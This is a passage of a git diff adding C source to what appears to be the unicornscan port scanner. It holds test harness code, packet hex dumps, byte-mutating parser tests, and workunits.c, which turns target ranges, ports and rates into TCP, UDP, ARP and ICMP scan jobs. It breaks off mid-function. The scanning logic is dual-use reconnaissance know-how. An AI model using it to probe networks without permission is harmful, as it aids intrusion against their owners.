+#include + +const char *ident_name_ptr=NULL; +int ident=0; + +settings_t *s=NULL; +void *r_queue=NULL, *p_queue=NULL; +pcap_dumper_t *pdump=NULL; + +void startit(void) { + ident=IDENT_ANY; + ident_name_ptr=IDENT_ANY_NAME; + + s=xmalloc(sizeof(settings_t)); + memset(s, 0, sizeof(settings_t)); + s->vi=(interface_info_t **)xmalloc(sizeof(interface_info_t *)); + s->vi[0]=(interface_info_t *)xmalloc(sizeof(interface_info_t)); + prng_init(); + memset(s->vi[0], 0, sizeof(interface_info_t)); + s->ss=xmalloc(sizeof(scan_settings_t)); + s->_stdout=stdout; + s->_stderr=stderr; + bluescreen_register(); + + s->verbose=255; + s->ss->mode=MODE_TCPSCAN; + s->ss->header_len=8; + + s->forked=0; + + r_queue=fifo_init(); + p_queue=fifo_init(); + +} diff --git a/src/scan_progs/tests/common.h b/src/scan_progs/tests/common.h new file mode 100644 index 0000000..ada439e --- /dev/null +++ b/src/scan_progs/tests/common.h @@ -0,0 +1,25 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +extern const char *ident_name_ptr; +extern int ident; +extern settings_t *s; +extern void *r_queue, *p_queue; +extern pcap_dumper_t *pdump; + +void startit(void); diff --git a/src/scan_progs/tests/pkt1.xxd b/src/scan_progs/tests/pkt1.xxd new file mode 100644 index 0000000..609e5fd --- /dev/null +++ b/src/scan_progs/tests/pkt1.xxd @@ -0,0 +1,6 @@ +0000000: 00 a0 c8 12 34 56 00 40 4f 0d fa de 08 00 45 00 ....4V.@O.....E. +0000010: 00 43 00 dc 40 00 40 11 7b c8 d0 39 ee d2 d8 ef .C..@.@.{..9.... +0000020: 26 0a 80 0a 00 35 00 2f be 46 12 12 00 00 00 01 &....5./.F...... +0000030: 00 00 00 00 00 01 06 67 6f 6f 67 6c 65 03 63 6f .......google.co +0000040: 6d 00 00 01 00 01 00 00 29 10 00 00 00 80 00 00 m.......)....... +0000050: 00 . diff --git a/src/scan_progs/tests/pkt2.xxd b/src/scan_progs/tests/pkt2.xxd new file mode 100644 index 0000000..ef5c2c3 --- /dev/null +++ b/src/scan_progs/tests/pkt2.xxd @@ -0,0 +1,95 @@ +0000000: 00 a0 c8 12 34 56 00 40 4f 0d fa de 08 00 45 00 ....4V.@O.....E. +0000010: 05 dc 1b c8 40 00 40 06 47 f5 d0 39 ee d2 d8 ef ....@.@.G..9.... +0000020: 39 63 80 67 00 50 a1 f5 b4 59 ad ca a0 80 50 10 9c.g.P...Y....P. +0000030: 16 d0 d7 2d 00 00 47 45 54 20 2f 20 48 54 54 50 ...-..GET / HTTP +0000040: 2f 31 2e 30 0d 0a 48 6f 73 74 3a 20 67 6f 6f 67 /1.0..Host: goog +0000050: 6c 65 2e 63 6f 6d 0d 0a 41 63 63 65 70 74 3a 20 le.com..Accept: +0000060: 74 65 78 74 2f 68 74 6d 6c 2c 20 74 65 78 74 2f text/html, text/ +0000070: 70 6c 61 69 6e 2c 20 61 70 70 6c 69 63 61 74 69 plain, applicati +0000080: 6f 6e 2f 78 2d 6f 67 67 2c 20 61 70 70 6c 69 63 on/x-ogg, applic +0000090: 61 74 69 6f 6e 2f 6f 67 67 2c 20 74 65 78 74 2f ation/ogg, text/ +00000a0: 76 6e 64 2e 72 6e 2d 72 65 61 6c 74 65 78 74 2c vnd.rn-realtext, +00000b0: 20 69 6d 61 67 65 2f 76 6e 64 2e 72 6e 2d 72 65 image/vnd.rn-re +00000c0: 61 6c 70 69 78 2c 20 61 70 70 6c 69 63 61 74 69 alpix, applicati +00000d0: 6f 6e 2f 73 6d 69 6c 2c 20 61 75 64 69 6f 2f 6d on/smil, audio/m +00000e0: 70 33 2c 20 61 75 64 69 6f 2f 78 2d 6d 70 33 2c p3, audio/x-mp3, +00000f0: 20 61 75 64 69 6f 2f 6d 70 65 67 2c 20 61 75 64 audio/mpeg, aud +0000100: 69 6f 2f 6d 70 67 2c 20 61 75 64 69 6f 2f 78 2d io/mpg, audio/x- +0000110: 6d 70 65 67 2c 20 61 75 64 69 6f 2f 78 2d 6d 70 mpeg, audio/x-mp +0000120: 67 2c 20 61 75 64 69 6f 2f 6d 70 65 67 75 72 6c g, audio/mpegurl +0000130: 2c 20 61 75 64 69 6f 2f 78 2d 6d 70 65 67 75 72 , audio/x-mpegur +0000140: 6c 2c 20 61 75 64 69 6f 2f 77 61 76 0d 0a 41 63 l, audio/wav..Ac +0000150: 63 65 70 74 3a 20 61 75 64 69 6f 2f 78 2d 77 61 cept: audio/x-wa +0000160: 76 2c 20 61 75 64 69 6f 2f 78 2d 70 6e 2d 77 61 v, audio/x-pn-wa +0000170: 76 2c 20 61 75 64 69 6f 2f 78 2d 70 6e 2d 77 69 v, audio/x-pn-wi +0000180: 6e 64 6f 77 73 2d 61 63 6d 2c 20 61 75 64 69 6f ndows-acm, audio +0000190: 2f 78 2d 70 6e 2d 77 69 6e 64 6f 77 73 2d 70 63 /x-pn-windows-pc +00001a0: 6d 2c 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 76 m, application/v +00001b0: 6e 64 2e 72 6e 2d 72 65 61 6c 6d 65 64 69 61 2d nd.rn-realmedia- +00001c0: 73 65 63 75 72 65 2c 20 61 70 70 6c 69 63 61 74 secure, applicat +00001d0: 69 6f 6e 2f 76 6e 64 2e 72 6e 2d 72 65 61 6c 61 ion/vnd.rn-reala +00001e0: 75 64 69 6f 2d 73 65 63 75 72 65 2c 20 61 75 64 udio-secure, aud +00001f0: 69 6f 2f 78 2d 72 65 61 6c 61 75 64 69 6f 2d 73 io/x-realaudio-s +0000200: 65 63 75 72 65 2c 20 76 69 64 65 6f 2f 76 6e 64 ecure, video/vnd +0000210: 2e 72 6e 2d 72 65 61 6c 76 69 64 65 6f 2d 73 65 .rn-realvideo-se +0000220: 63 75 72 65 2c 20 61 75 64 69 6f 2f 76 6e 64 2e cure, audio/vnd. +0000230: 72 6e 2d 72 65 61 6c 61 75 64 69 6f 0d 0a 41 63 rn-realaudio..Ac +0000240: 63 65 70 74 3a 20 61 75 64 69 6f 2f 78 2d 72 65 cept: audio/x-re +0000250: 61 6c 61 75 64 69 6f 2c 20 61 70 70 6c 69 63 61 alaudio, applica +0000260: 74 69 6f 6e 2f 76 6e 64 2e 72 6e 2d 72 65 61 6c tion/vnd.rn-real +0000270: 6d 65 64 69 61 2c 20 61 70 70 6c 69 63 61 74 69 media, applicati +0000280: 6f 6e 2f 76 6e 64 2e 72 6e 2d 72 65 61 6c 6d 65 on/vnd.rn-realme +0000290: 64 69 61 2d 76 62 72 2c 20 61 75 64 69 6f 2f 78 dia-vbr, audio/x +00002a0: 2d 70 6e 2d 72 65 61 6c 61 75 64 69 6f 2c 20 76 -pn-realaudio, v +00002b0: 69 64 65 6f 2f 76 6e 64 2e 72 6e 2d 72 65 61 6c ideo/vnd.rn-real +00002c0: 76 69 64 65 6f 2c 20 61 70 70 6c 69 63 61 74 69 video, applicati +00002d0: 6f 6e 2f 76 6e 64 2e 72 6e 2d 72 65 61 6c 73 79 on/vnd.rn-realsy +00002e0: 73 74 65 6d 2d 72 6d 6a 2c 20 61 70 70 6c 69 63 stem-rmj, applic +00002f0: 61 74 69 6f 6e 2f 76 6e 64 2e 72 6e 2d 72 65 61 ation/vnd.rn-rea +0000300: 6c 73 79 73 74 65 6d 2d 72 6d 78 2c 20 61 75 64 lsystem-rmx, aud +0000310: 69 6f 2f 61 61 63 2c 20 61 75 64 69 6f 2f 6d 34 io/aac, audio/m4 +0000320: 61 2c 20 61 75 64 69 6f 2f 6d 70 32 2c 20 61 75 a, audio/mp2, au +0000330: 64 69 6f 2f 6d 70 31 0d 0a 41 63 63 65 70 74 3a dio/mp1..Accept: +0000340: 20 61 75 64 69 6f 2f 72 6e 2d 6d 70 65 67 2c 20 audio/rn-mpeg, +0000350: 61 75 64 69 6f 2f 73 63 70 6c 73 2c 20 61 75 64 audio/scpls, aud +0000360: 69 6f 2f 78 2d 73 63 70 6c 73 2c 20 61 70 70 6c io/x-scpls, appl +0000370: 69 63 61 74 69 6f 6e 2f 73 74 72 65 61 6d 69 6e ication/streamin +0000380: 67 6d 65 64 69 61 2c 20 61 70 70 6c 69 63 61 74 gmedia, applicat +0000390: 69 6f 6e 2f 73 64 70 2c 20 61 70 70 6c 69 63 61 ion/sdp, applica +00003a0: 74 69 6f 6e 2f 78 2d 73 64 70 2c 20 61 75 64 69 tion/x-sdp, audi +00003b0: 6f 2f 62 61 73 69 63 2c 20 61 75 64 69 6f 2f 78 o/basic, audio/x +00003c0: 2d 70 6e 2d 61 75 2c 20 61 75 64 69 6f 2f 61 69 -pn-au, audio/ai +00003d0: 66 66 2c 20 61 75 64 69 6f 2f 78 2d 61 69 66 66 ff, audio/x-aiff +00003e0: 2c 20 61 75 64 69 6f 2f 78 2d 70 6e 2d 61 69 66 , audio/x-pn-aif +00003f0: 66 2c 20 76 69 64 65 6f 2f 33 67 70 70 2c 20 76 f, video/3gpp, v +0000400: 69 64 65 6f 2f 33 67 70 70 2d 65 6e 63 72 79 70 ideo/3gpp-encryp +0000410: 74 65 64 2c 20 61 75 64 69 6f 2f 33 67 70 70 2c ted, audio/3gpp, +0000420: 20 61 75 64 69 6f 2f 33 67 70 70 2d 65 6e 63 72 audio/3gpp-encr +0000430: 79 70 74 65 64 0d 0a 41 63 63 65 70 74 3a 20 61 ypted..Accept: a +0000440: 75 64 69 6f 2f 61 6d 72 2c 20 61 75 64 69 6f 2f udio/amr, audio/ +0000450: 61 6d 72 2d 65 6e 63 72 79 70 74 65 64 2c 20 61 amr-encrypted, a +0000460: 75 64 69 6f 2f 61 6d 72 2d 77 62 2c 20 61 75 64 udio/amr-wb, aud +0000470: 69 6f 2f 61 6d 72 2d 77 62 2d 65 6e 63 72 79 70 io/amr-wb-encryp +0000480: 74 65 64 2c 20 61 75 64 69 6f 2f 78 2d 72 6e 2d ted, audio/x-rn- +0000490: 33 67 70 70 2d 61 6d 72 2c 20 61 75 64 69 6f 2f 3gpp-amr, audio/ +00004a0: 78 2d 72 6e 2d 33 67 70 70 2d 61 6d 72 2d 65 6e x-rn-3gpp-amr-en +00004b0: 63 72 79 70 74 65 64 2c 20 61 75 64 69 6f 2f 78 crypted, audio/x +00004c0: 2d 72 6e 2d 33 67 70 70 2d 61 6d 72 2d 77 62 2c -rn-3gpp-amr-wb, +00004d0: 20 61 75 64 69 6f 2f 78 2d 72 6e 2d 33 67 70 70 audio/x-rn-3gpp +00004e0: 2d 61 6d 72 2d 77 62 2d 65 6e 63 72 79 70 74 65 -amr-wb-encrypte +00004f0: 64 2c 20 76 69 64 65 6f 2f 33 67 70 70 32 2c 20 d, video/3gpp2, +0000500: 74 65 78 74 2f 73 67 6d 6c 2c 20 76 69 64 65 6f text/sgml, video +0000510: 2f 6d 70 65 67 2c 20 69 6d 61 67 65 2f 6a 70 65 /mpeg, image/jpe +0000520: 67 2c 20 69 6d 61 67 65 2f 74 69 66 66 0d 0a 41 g, image/tiff..A +0000530: 63 63 65 70 74 3a 20 69 6d 61 67 65 2f 78 2d 72 ccept: image/x-r +0000540: 67 62 2c 20 69 6d 61 67 65 2f 70 6e 67 2c 20 69 gb, image/png, i +0000550: 6d 61 67 65 2f 78 2d 78 62 69 74 6d 61 70 2c 20 mage/x-xbitmap, +0000560: 69 6d 61 67 65 2f 78 2d 78 62 6d 2c 20 69 6d 61 image/x-xbm, ima +0000570: 67 65 2f 67 69 66 2c 20 61 70 70 6c 69 63 61 74 ge/gif, applicat +0000580: 69 6f 6e 2f 70 6f 73 74 73 63 72 69 70 74 2c 20 ion/postscript, +0000590: 2a 2f 2a 3b 71 3d 30 2e 30 31 0d 0a 41 63 63 65 */*;q=0.01..Acce +00005a0: 70 74 2d 45 6e 63 6f 64 69 6e 67 3a 20 67 7a 69 pt-Encoding: gzi +00005b0: 70 2c 20 63 6f 6d 70 72 65 73 73 0d 0a 41 63 63 p, compress..Acc +00005c0: 65 70 74 2d 4c 61 6e 67 75 61 67 65 3a 20 65 6e ept-Language: en +00005d0: 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 4c 79 ..User-Agent: Ly +00005e0: 6e 78 2f 32 2e 38 2e 34 72 65 nx/2.8.4re diff --git a/src/scan_progs/tests/pkt3.xxd b/src/scan_progs/tests/pkt3.xxd new file mode 100644 index 0000000..5118513 --- /dev/null +++ b/src/scan_progs/tests/pkt3.xxd @@ -0,0 +1,4 @@ +0000000: 45 00 00 14 71 c6 40 00 40 06 00 00 00 00 00 00 +0000010: cc 08 8c a4 73 af 00 50 32 ea 4e 4e 00 00 00 00 +0000020: b0 02 40 00 00 00 00 00 02 04 ff c0 01 01 04 02 +0000030: 01 03 03 00 01 01 08 0a 6d 22 52 a6 00 00 00 00 diff --git a/src/scan_progs/tests/testp1.c b/src/scan_progs/tests/testp1.c new file mode 100644 index 0000000..cd93869 --- /dev/null +++ b/src/scan_progs/tests/testp1.c @@ -0,0 +1,96 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include + +#include +#include +#include + +#include +#include +#include +#include +#include + +#include "common.h" + +const uint8_t *p= "\x00\x00\x00\x00\x00\x00\x00\x00" /* fake link layer header */ + "\x45\x00\x00\x3c\x00\x00\x40\x00\x3f\x06\x4e\x67\xc0\xa8\x0d\xdd" /* 16 * 3 */ + "\x0a\x00\x14\xd0\x00\x19\x54\xa7\x12\xef\x5b\xb4\x9a\x18\xde\x82" + "\xa0\x12\x16\xa0\x29\x1a\x00\x00\x02\x04\x05\xb4\x04\x02\x08\x0a" /* 48 + 12 */ + "\x54\xd2\x78\xda\x15\x4b\xfb\xe9\x01\x03\x03\x07"; /* 12 */ +#define PKLEN 68 + + +int main(int argc, char ** argv) { + struct pcap_pkthdr ph; + char *pdup=NULL; + int off=0, trick=0; + /* union { + uint8_t *c; + uint16_t hw; + uint32_t w; + uint64_t dw; + } kitty; */ + + startit(); + + SET_SNIFF(1); + + ph.caplen=PKLEN; + + hexdump(p, PKLEN); + +#define TRICKLEN 16 + + if (1) { + if (TRICKLEN % 2) { + PANIC("GO have some coffee and come back when you can think again buddy"); + } + } + + for (off=0; off < PKLEN; off++) { + /* 0 -> -1 -2 -3 -4 , +1 +2 +3 +4 XX */ + for (trick=0; trick < TRICKLEN; trick++) { + pdup=xmalloc(PKLEN); + memcpy(pdup, p, PKLEN); + + if (trick == 0) { + pdup[off]=0x00; + } + else if (trick < (TRICKLEN / 2)) { + printf("SUB %d\n", (5 - trick)); + pdup[off] -= (uint8_t)((TRICKLEN / 2) - trick); + } + else if (trick < TRICKLEN) { + pdup[off] += (uint8_t)((TRICKLEN / 2) + trick); + } + else { + pdup[off]=0xFF; + } + + pdup[off]=0xFF; + parse_packet(NULL, (const struct pcap_pkthdr *)&ph, pdup); + + xfree(pdup); + } + } + + exit(0); +} diff --git a/src/scan_progs/tests/tests1.c b/src/scan_progs/tests/tests1.c new file mode 100644 index 0000000..831a14d --- /dev/null +++ b/src/scan_progs/tests/tests1.c @@ -0,0 +1,73 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include + +#include +#include +#include + +#include +#include +#include +#include + +#include + +#include "common.h" + +int main(int argc, char ** argv) { + char pktbuf[0x5ff]; + ssize_t rsize=0; + size_t kittens=0; + struct pcap_pkthdr ph; + char *dup=NULL; + int pfd=0, j=0; + packetlayers_t plz[8]; + /* union { + uint8_t *c; + uint16_t hw; + uint32_t w; + uint64_t dw; + } kitty; */ + + startit(); + + if (argc != 2) { + fprintf(stderr, "thats not a banana, but i am!"); + exit(14); + } + if ((pfd=open(argv[1], O_RDONLY)) < 0) { + terminate("cant eat `%s'", argv[1]); + } + + if ((rsize=read(pfd, &pktbuf, sizeof(pktbuf))) < 0) { + terminate("O brave new world, one with such errors in it"); + } + + SET_SNIFF(1); + + kittens=packet_slice(pktbuf, (size_t)rsize, &plz[0], 8, PKLTYPE_IP); + + for (j=0; j < 8; j++) { + printf("type %s stat %s ptr %p len %u\n", strpklayer(plz[j].type), strpkstat(plz[j].stat), plz[j].ptr, plz[j].len); + if (plz[j].len) hexdump(plz[j].ptr, plz[j].len); + } + + exit(0); +} diff --git a/src/scan_progs/workunits.c b/src/scan_progs/workunits.c new file mode 100644 index 0000000..22c281c --- /dev/null +++ b/src/scan_progs/workunits.c @@ -0,0 +1,971 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include + +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include + +static int swu_s=0, lwu_s=0; + +static int lwu_compare (const void *, const void *); +static int workunit_match_iter(const void *, const void *); +static int workunit_match_slp (const void *, const void *); +static int workunit_match_wid (const void *, const void *); +static void balance_send_workunits(void *); +static void balance_recv_workunits(void *); +static void workunit_append_interface(void *); + +int workunit_init(void) { + s->swu=fifo_init(); + s->lwu=fifo_init(); + + s->wk_seq=0; + + return 1; +} + +void workunit_destroy(void) { + fifo_destroy(s->swu); + fifo_destroy(s->lwu); +} + +void workunit_reset(void) { + swu_s=0; + lwu_s=0; + + return; +} + +void workunit_dump(void) { + DBG(M_WRK, "got %u S and %u L workunits in %d groups", fifo_length(s->swu), fifo_length(s->lwu), s->scan_iter); +} + +int workunit_check_sp(void) { + struct wk_s w; + + w.iter=s->cur_iter; + w.magic=WK_MAGIC; + + if (fifo_find(s->swu, &w, &workunit_match_iter) != NULL) { + return 0; + } + + /* nothing else matches, we are done */ + return 1; +} + +char *workunit_pstr_get(const send_workunit_t *sw) { + union { + const send_workunit_t *s; + const char *c; + } s_u; + static char ret[4096]; + uint16_t slen=0; + + s_u.s=sw; + + CLEAR(ret); + + slen=s_u.s->port_str_len; + if (slen == 0) { + return ret; + } + + s_u.c += sizeof(send_workunit_t); + memcpy(ret, s_u.c, MIN(slen, sizeof(ret) -1)); + + return ret; +} + +char *workunit_fstr_get(const recv_workunit_t *rw) { + union { + const recv_workunit_t *r; + const char *c; + } s_u; + static char ret[1024]; + uint16_t slen=0; + + s_u.r=rw; + + CLEAR(ret); + + slen=s_u.r->pcap_len; + if (slen == 0) { + return ret; + } + + s_u.r += sizeof(recv_workunit_t); + memcpy(ret, s_u.c, MIN(slen, sizeof(ret) -1)); + + return ret; +} + +int workunit_add(const char *targets, char **estr) { + union { + send_workunit_t *s; + uint8_t *inc; + } sw_u; + union { + struct wk_s *w; + void *ptr; + } wu_u; + char *start=NULL, *ptr=NULL, *port_str=NULL; + char modestr[64]; + uint32_t num_pkts=0, send_magic=0, pps=0; + /* */ + uint8_t mode=0; + uint16_t send_opts=0, recv_opts=0, options=0, tcphdrflgs=0; + /* */ + struct wk_s *w_p=NULL; + recv_workunit_t lwu_srch; + size_t port_str_len=0; + unsigned int mask_cidr=0; + struct sockaddr_storage netid, mask; + static char emsg[1024]; + double num_hosts; + + assert(targets != NULL && estr != NULL); + *estr=emsg; + + emsg[0]='\0'; + + if (strlen(targets) < 1) { + strcpy(emsg, "no target to add"); + + return -1; + } + + ptr=xstrdup(targets); + start=ptr; + + CLEAR(modestr); + + pps=s->pps; + send_opts=s->send_opts; + recv_opts=s->recv_opts; + options=s->options; + + for (; *ptr != '\0'; ptr++) { + if (*ptr == ':') { + *ptr='\0'; ptr++; + if (*ptr == 'm') { + /* the first case will match mode,portlist */ + if (strchr(ptr, ',') != NULL && sscanf(ptr, "m%63[^,],", modestr) == 1) { + if (scan_parsemode((const char *)modestr, &mode, &tcphdrflgs, &send_opts, &recv_opts, &options, &pps) < 0) { + snprintf(emsg, sizeof(emsg) - 1, "cant parse target `%s'", start); + xfree(start); + + return -1; + } + ptr += strlen(modestr) + 2; + } /* this case will match just mode string with global ports */ + else if (sscanf(ptr, "m%63s", modestr) == 1) { + if (scan_parsemode((const char *)modestr, &mode, &tcphdrflgs, &send_opts, &recv_opts, &options, &pps) < 0) { + snprintf(emsg, sizeof(emsg) - 1, "cant parse target `%s'", start); + xfree(start); + + return -1; + } + ptr += strlen(modestr) + 1; + } + } + break; + } + } + + if (cidr_get(start, (struct sockaddr *)&netid, (struct sockaddr *)&mask, &mask_cidr) < 0) { + snprintf(emsg, sizeof(emsg) - 1, "dont understand address `%s'", ptr); + + xfree(start); + return -1; + } + + DBG(M_WRK, "adding target %s (%s/%u)", start, cidr_saddrstr((struct sockaddr *)&netid), mask_cidr); + + num_hosts=cidr_numhosts((const struct sockaddr *)&netid, (const struct sockaddr *)&mask); + + DBG(M_WRK, "adding %.1e new hosts to scan (already had %.1e)", num_hosts, s->num_hosts); + + assert(num_hosts > 0); + + s->num_hosts += num_hosts; + + if (mode == 0) { + mode=scan_getmode(); + } + + assert(s->gport_str != NULL && strlen(s->gport_str) > 0); + port_str=xstrdup(ptr != NULL && strlen(ptr) > 0 ? ptr : s->gport_str); + + if (port_str[0] == 'q' || port_str[0] == 'Q' || port_str[0] == '\0') { + + assert(s->tcpquickports != NULL && s->udpquickports != NULL); + + switch (mode) { + case MODE_TCPSCAN: + port_str=xstrdup(s->tcpquickports); + break; + + case MODE_UDPSCAN: + port_str=xstrdup(s->udpquickports); + break; + + case MODE_ARPSCAN: + port_str=NULL; + break; + + default: + terminate("bad scan mode"); + break; + } + } + + if (port_str != NULL && parse_pstr(port_str, &num_pkts) < 0) { + snprintf(emsg, sizeof(emsg) -1, "port string `%s' rejected by parser", port_str); + + return -1; + } + + if (s->repeats > 1) { + num_pkts *= s->repeats; + } + + if (s->ss->minttl != s->ss->maxttl) { + num_pkts *= (s->ss->maxttl - s->ss->minttl); + } + + s->num_packets += (num_hosts * num_pkts); + s->num_secs += ((num_hosts * num_pkts) / pps) + s->ss->recv_timeout; + + if (mode == MODE_TCPSCAN || mode == MODE_UDPSCAN) { + VRB(0, "adding %s/%u mode `%s' ports `%s' pps %u", + cidr_saddrstr((const struct sockaddr *)&netid), + mask_cidr, + strlen(modestr) > 0 ? modestr : strscanmode(mode), + port_str, + pps + ); + } + else { + VRB(0, "adding %s/%u mode `%s' pps %u", + cidr_saddrstr((const struct sockaddr *)&netid), + mask_cidr, + strlen(modestr) > 0 ? modestr : strscanmode(mode), + pps + ); + } + + switch (mode) { + case MODE_TCPSCAN: + lwu_srch.magic=TCP_RECV_MAGIC; + send_magic=TCP_SEND_MAGIC; + break; + + case MODE_UDPSCAN: + lwu_srch.magic=UDP_RECV_MAGIC; + send_magic=UDP_SEND_MAGIC; + break; + + case MODE_ARPSCAN: + lwu_srch.magic=ARP_RECV_MAGIC; + send_magic=ARP_SEND_MAGIC; + break; + + case MODE_ICMPSCAN: + lwu_srch.magic=ICMP_RECV_MAGIC; + send_magic=ICMP_SEND_MAGIC; + break; + + case MODE_IPSCAN: + lwu_srch.magic=IP_RECV_MAGIC; + send_magic=IP_SEND_MAGIC; + break; + + default: + PANIC("somehow an unknown scan mode is present"); + break; + } + + lwu_srch.recv_opts=recv_opts; + + w_p=(struct wk_s *)xmalloc(sizeof(struct wk_s)); + memset(w_p, 0, sizeof(struct wk_s)); + w_p->magic=WK_MAGIC; + + w_p->r=&lwu_srch; + /* + * would this generate a unique listener workunit?, otherwise we can skip it + */ + if ((wu_u.ptr=fifo_find(s->lwu, (const void *)w_p, &lwu_compare)) == NULL) { + union { + recv_workunit_t *r; + uint8_t *inc; + } rw_u; + size_t pcaplen=0; + + pcaplen=s->extra_pcapfilter != NULL ? strlen(s->extra_pcapfilter) : 0; + + DBG(M_WRK, "adding new scan group"); + s->scan_iter++; + s->wk_seq++; + + /* we need to add a new listener workunit */ + w_p->magic=WK_MAGIC; + w_p->used=0; + w_p->iter=s->scan_iter; + w_p->wid=s->wk_seq; + w_p->len=sizeof(recv_workunit_t) + pcaplen; + + rw_u.r=(recv_workunit_t *)xmalloc(w_p->len); + memset(rw_u.r, 0, w_p->len); + + rw_u.r->magic=lwu_srch.magic; + rw_u.r->recv_opts=lwu_srch.recv_opts; + rw_u.r->window_size=s->ss->window_size; + rw_u.r->recv_timeout=s->ss->recv_timeout; + rw_u.r->ret_layers=s->ss->ret_layers; + rw_u.r->syn_key=s->ss->syn_key; + rw_u.r->pcap_len=w_p->len - sizeof(recv_workunit_t); + + if (pcaplen > 0) { + memcpy(rw_u.inc + sizeof(recv_workunit_t), s->extra_pcapfilter, pcaplen); + } + w_p->r=rw_u.r; + + fifo_push(s->lwu, w_p); + + /* now reset the pointer to new memory */ + w_p=(struct wk_s *)xmalloc(sizeof(struct wk_s)); + memset(w_p, 0, sizeof(struct wk_s)); + w_p->used=0; + w_p->iter=s->scan_iter; + w_p->magic=WK_MAGIC; + } + else { + assert(wu_u.w->magic == WK_MAGIC); + + DBG(M_WRK, "adding new group within same scan group as existing one"); + w_p->iter=wu_u.w->iter; + } + + s->wk_seq++; + + w_p->wid=s->wk_seq; + + assert(ptr != NULL && s->gport_str != NULL); + assert(strlen(ptr) || strlen(s->gport_str)); + + port_str_len=port_str != NULL ? strlen(port_str) : 0; + + sw_u.s=(send_workunit_t *)xmalloc(sizeof(send_workunit_t) + port_str_len); + memset(sw_u.s, 0, sizeof(send_workunit_t) + port_str_len); + + sw_u.s->magic=send_magic; + sw_u.s->repeats=s->repeats; + sw_u.s->send_opts=send_opts; + sw_u.s->pps=pps; + sw_u.s->delay_type=s->delay_type_exp != 0 ? s->delay_type_exp : delay_getdef(pps); + + memcpy(&sw_u.s->target, &netid, sizeof(struct sockaddr_storage)); + memcpy(&sw_u.s->targetmask, &mask, sizeof(struct sockaddr_storage)); + + sw_u.s->tos=s->ss->tos; + sw_u.s->minttl=s->ss->minttl; + sw_u.s->maxttl=s->ss->maxttl; + sw_u.s->ip_off=s->ss->ip_off; + sw_u.s->fingerprint=s->ss->fingerprint; + sw_u.s->src_port=s->ss->src_port; + + assert(sizeof(sw_u.s->ipoptions) == sizeof(s->ss->ipoptions)); + memcpy(sw_u.s->ipoptions, s->ss->ipoptions, sizeof(sw_u.s->ipoptions)); + sw_u.s->ipoptions_len=s->ss->ipoptions_len; + + sw_u.s->tcphdrflgs=s->ss->tcphdrflgs; + + assert(sizeof(sw_u.s->tcpoptions) == sizeof(s->ss->tcpoptions)); + memcpy(sw_u.s->tcpoptions, s->ss->tcpoptions, sizeof(sw_u.s->tcpoptions)); + sw_u.s->tcpoptions_len=s->ss->tcpoptions_len; + + sw_u.s->window_size=s->ss->window_size; + sw_u.s->syn_key=s->ss->syn_key; + + sw_u.s->port_str_len=port_str_len; + + if (port_str_len > 0) { + memcpy(sw_u.inc + sizeof(send_workunit_t), port_str, port_str_len); + } + + w_p->s=sw_u.s; + w_p->len=sizeof(send_workunit_t) + port_str_len; + + fifo_push(s->swu, w_p); + + if (port_str != NULL) { + xfree(port_str); + } + xfree(start); + + return 1; +} + +recv_workunit_t *workunit_get_lp(size_t *wk_len, uint32_t *wid) { + union { + struct wk_s *w; + void *ptr; + } w_u; + struct wk_s srch; + + assert(wk_len != NULL && wid != NULL); + + memset(&srch, 0, sizeof(srch)); + srch.iter=s->cur_iter; + srch.used=0; + srch.magic=WK_MAGIC; + + w_u.ptr=NULL; + + if ((w_u.ptr=fifo_find(s->lwu, (const void *)&srch, &workunit_match_slp)) != NULL) { + assert(w_u.w->magic == WK_MAGIC); + w_u.w->used=1; + lwu_s++; + DBG(M_WRK, "sending L workunit with wid %u", w_u.w->wid); + *wid=w_u.w->wid; + *wk_len=w_u.w->len; + + push_output_modules(w_u.ptr); + + return w_u.w->r; + } + + return NULL; +} + +send_workunit_t *workunit_get_sp(size_t *wk_len, uint32_t *wid) { + union { + struct wk_s *w; + void *ptr; + } w_u; + struct wk_s srch; + + assert(wk_len != NULL && wid != 